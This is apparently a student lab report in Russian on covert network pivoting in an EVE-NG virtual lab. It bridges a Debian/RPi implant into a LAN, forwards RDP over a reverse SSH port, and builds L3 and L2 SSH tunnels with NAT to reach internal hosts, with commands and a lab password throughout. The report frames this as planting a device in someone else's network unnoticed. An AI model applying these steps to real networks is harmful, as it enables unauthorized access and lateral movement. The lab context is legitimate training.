# Практика №4. Revers Shells & Reverse SSH connections
## Задание к практической работе №4
- Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
- Настроить каждое устройство в соответсвии со следующими параметрами:
- Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
- устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2)
---
## Выполнение практической работы
### Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
При выполнении данного пункта было решено модифицировать инфраструктуру из предыдущей практики №3. На устройствах pfSense и Switch были настроены VLAN 10 и VLAN 20 c сетями 172.16.10.0/24 и 172.16.20.0/24 соотстветсвенно. Кроме того, все версии систем были заменены на актуальные, кроме Debian: Kali-2021 -> Kali22, Win-7 -> Win7en, Win-10 -> Win10ru, Pfsense 2.5.2 -> Pfsense 2.6.0.

Перед работой на всех машинах был выключен внутренний фаервол и антивирус, как на скрине ниже.


В том числе было включено удалённое подключение.

Ну и не забудем на будущее включить SSH на Kali при помощи команд:
```
sudo systemctl enable ssh
sudo service ssh start
```

Для данной работы так же необходимо исправить sshd_config
```
sudo nano /etc/ssh/sshd_config
```
Там необходимо убрать '#' и прописать рядом 'yes' с параметрами PermitRootLogin и PermitTunnel.
PermitRootLogin отвечает за то, чтобы была включена/выключена возможность заходить под аккаунтом root-пользователя.
PermitTunnel предназначен для разрешения/запрета использования туннелей. Они могут использоваться, например, для VPN-подключений через SSH, поэтому весь трафик в целевую сеть направляется через туннель.
После изменений необходимо перезапустить сервис ssh.
```
sudo service ssh restart
```
> **Туннелирование** представляет собой метод построения сетей, при котором один сетевой протокол инкапсулируется в другой




Так же необходимо для дальнейшего исправить конфиг sysctl, разрешив там ip_forward, убрав '#'.
```
nano /etc/sysctl.conf
```
Настраивает переадресацию IP-адресов в системе Linux. Если сервер Linux действует как брандмауэр, маршрутизатор или устройство NAT, он должен быть способен пересылать пакеты, предназначенные для других адресатов (кроме него самого).
:::danger
**!!ВАЖНОЕ ЗАМЕЧАНИЕ!!**
После закрытия лабаторной работы IP некоторых устройств менются, поэтому неудивительно, что на некоторых скриншотах разные IP одних и тех же устройств!
:::
### Настроить каждое устройство в соответсвии со следующими параметрами:
#### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
Windows7 и Windows10 получают свои адреса автоматически.


Для того, чтобы получить адрес для устройства Debian, необходимо прописать команду dhclient.

#### Устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2)
> **Сетевой мост** работает на канальном уровне сетевой модели OSI (L2), при получении из сети кадра сверяет MAC-адрес последнего и, если он не принадлежит данной подсети, передает (транслирует) кадр дальше в тот сегмент, которому предназначался данный кадр; если кадр принадлежит данной подсети, мост ничего не делает.
Для того, чтобы настроить мост на debian-машине необходимо сначала скачать bridge-utils при помощи следующей команды:
```
apt install bridge-utils
```
> Администрирование осуществляется утилитой brctl из пакета bridge-utils который есть практически во всех дистрибутивах.

Далее настроим /etc/network/interfaces
```
nano /etc/network/interfaces
```

:::info
**auto interface** – запуск интерфейса при загрузке.
**inet manual** – не определять IP-адрес для интерфейса. Обычно используется интерфейсами, которые являются мостовыми или агрегирующими элементами, интерфейсами, которым необходимо работать в неразборчивом режиме (например, зеркальное отображение портов или сетевые подключения), или на которых настроено устройство VLAN. Это способ поддерживать работоспособность интерфейса без указания IP-адреса.
**inet dhcp** – получение IP-адреса по протоколу DHCP.
**bridge_ports** – необходимо определить элементы моста.
:::
Проверим, что наш мост работает запустив tcpdump.
> **tcpdump** -- это сниффер пакетов с интерфейсом командной строки. Эта программа представляет собой анализатор пакетов, который используется для захвата или фильтрации разнообразных сетевых пакетов
Для начала установим данную утилиту.
```
apt install tcpdump
```
И используем уже сразу фильтруя вывод приходящего трафик по протоколу ICMP, отвечающему за пинг.
```
tcpdump -i br0 | grep ICMP
```
При этом на одной из Windows-машинок пингуем интернет, чтобы был какой-то результат.


Так как debian выводит результат, который и ожидался, то делаем вывод, что мост работает и трафик сквозь него проходит.
Таким образом, мы внедрили в чужую локальную сеть свою машину без их ведома.
### PORT FORWARDING AND SSH REVERSE
Данный метод мы уже опробовали в практической работе №3, но здесь мы немного изменим подход. В принципе, данный метод не требует подробного объяснения, поскольку он описан в третьей работе.
Для начала воспользуемся debian машинкой, прокидывая порты через неё на одну из Windows-устройств.
```
ssh -R 1111:172.16.20.11:3389 user@192.168.192.131
```
Здесь мы используем IP Windows10 вместо того же localhost, который использовали ранее. Получается, что мы имеем одно устройство посередине - debian.

Смотрим, что порт появился на kali:
```
ss -tlnp
```

Да, порт 1111 пристуствует. Вновь пытаемся соединиться с Windows при помощи логина и пароля, но подключаясь при этом к своему порту (который в дальнейшем прербросит наше соединение).
```
xfreerdp /u:user /p:eve@123 /v:127.0.0.1:1111
```

Видим, что окошко открывается, значит, всё прошло успешно, мы подключились к Windows10 :)

---
## SSH tunneling L3
> L3 -- сетевой уровень. Эти каналы связи выполняют маршрутизацию с использованием IP-адресов.
Для построения простейшего тоннеля с помощью ssh используется флаг `-w` и конструкция `-w <номер_локального_интерфейса>:<номер_удалённого_интерфейса>`. Не забываем указывать параметры для подключения к kali `<логин_пользователя>@<ip_kali>`
```
ssh -w 0:0 root@192.168.192.131
```

Видим, что подключение прошло. Далее нам необходимо проверить, что тоннель поднялся на нашей kali.
Для этого пропишем `ip a`. Данная команда выводит все сетевые интерфейсы. На снимке экрана ниже видно, что тоннель под названием tun0 появился, но находится в неактивном состоянии.

Как видно, на нём не стоит никакого IP, поэтому необходимо поставить его командой:
```
ip addr add 10.100.0.1/24 dev tun0
```
Эта команда добавит IP 10.100.0.1 на интерфейс тоннеля tun0.

Далее поднимаем этот тоннель в рабочее состояние.
```
ip link set tun0 up
```
И вновь смотрим на вывод команды `ip a`. Да, действительно, теперь этот тоннель рабочий.

Далее нам необходимо проделать всё то же самое, но на debian-машинке. Наблюдаем тоннель на ней.

Прописываем ей IP и поднимаем.
```
ip addr add 10.100.0.2/24 dev tun0
ip link set tun0 up
```

Снова проверяем её состояние. Работает!

Далее нам необходима следующая настройка:
```
iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
```
Флаг -t, указывает используемую таблицу, если данный ключ не указан, то по умолчанию используется таблица filter. Запись добавляется в цепочку POSTROUTING и предписывает выполнить действие маскарадинга, использующих в качестве исходящего внешний интерфейс br0.
> **MASQUERADE** (маскарадинг) самостоятельно получает IP-адрес от заданного сетевого интерфейса и не требует его явного указания (это удобно если на внешнем интерфейсе используется динамический IP-адрес). Вторая особенность MASQUERADE в том, что при остановке интерфейса таблица трансляций полностью очищается и все текущие соединения разрываются. Причина такого поведения в том, что при следующем запуске интерфейса имеется возможность получить новый IP-адрес и все текущие записи сразу окажутся неверны.

После этого нам нужно будет настроить маршрутизацию на kali, чтобы она понимала куда ей необходимо идти, когда мы будем использовать локальную сетку.
Для этого пропишем:
```
ip route add 192.168.1.0/24 via 10.100.0.2
ip route add 172.16.20.0/24 via 10.100.0.2
ip route add 172.16.10.0/24 via 10.100.0.2
```


Теперь kali знает на какой гейтвей ей идти, чтобы найти данные сетки. Попробуем пропинговать windows10 и проверить правильность нашей работы.
```
ping 172.16.20.11
```

Windows отвечает, а значит самое время протянуть свои ручки и удалённо подключиться по тоннелю. Используем xfreerdp.
```
xfreerdp /u:user /p:eve@123 /v:172.10.20.11:3389
```
Стоит заметить, что мы используем в этот раз локальный IP-адрес устройства.

Доступ был получен.
---
## SSH tunneling L2
Когда туннель установлен, SSH создает устройство TAP (virtual ethernet tunnel) на каждом компьютере. Он ведет себя скорее как виртуальный провод. Таким образом, его нельзя использовать напрямую – необходимо создать виртуальный мост и добавить к нему это устройство TAP, рассматривая мост как сетевую карту. Поскольку это l2, то трафик ARP, dhcp и т.д. может свободно передаваться между физическими сетями, как если бы они были единой.
Для создания l2-тоннеля нам понадобится вновь установить ssh-соединение с дополнительными характеристиками.
```
ssh root@192.168.192.131 -o Tunnel=ethernet -w any:any
```
Флаг`-o` предназначен для указания параметра файла конфигурации в командной строке. Мы используем Tunnel=ethernet для настройки туннеля уровня 2. Используется всё та же констукция с флагом `-w`, для указания интерфейсов.

Проверяем, что тоннель появился при помощи `ip a`. Видим в самом конце tap0.

Проверяем это так же на нашем debian'е. И там он обнаружился.

Продолжаем настройку на debian, открыв окно следующей сессии.
Используя brctl show, мы можем просмотреть все доступные сетевые мосты на вашем сервере. Используем это.
```
brctl show
```

Необходимо добавить на мост ещё один интерфейс, то есть наш тоннель. Делаем это и снова смотрим.
```
brctl addif br0 tap0
brctl show
```

Поднимаем тоннель на debian и на kali.
```
ip link set dev tap0 up
```


После этого воспользуемся dhclient на том самом тоннеле и увидим интересную вещь. Наша kali получила ip локальной сети.
```
dhclient tap0
```
Теперь мы можем действовать на этом тоннеле так, будто мы находимся внутри сети.

Далее можем делать с сетью всё, что захотим. Например, запустим утилиту tcpdump и посмотрим какой трафик идёт мимо..
Видим Switch-устройство.

И даже фаервол, который любезно с нами переговаривается.
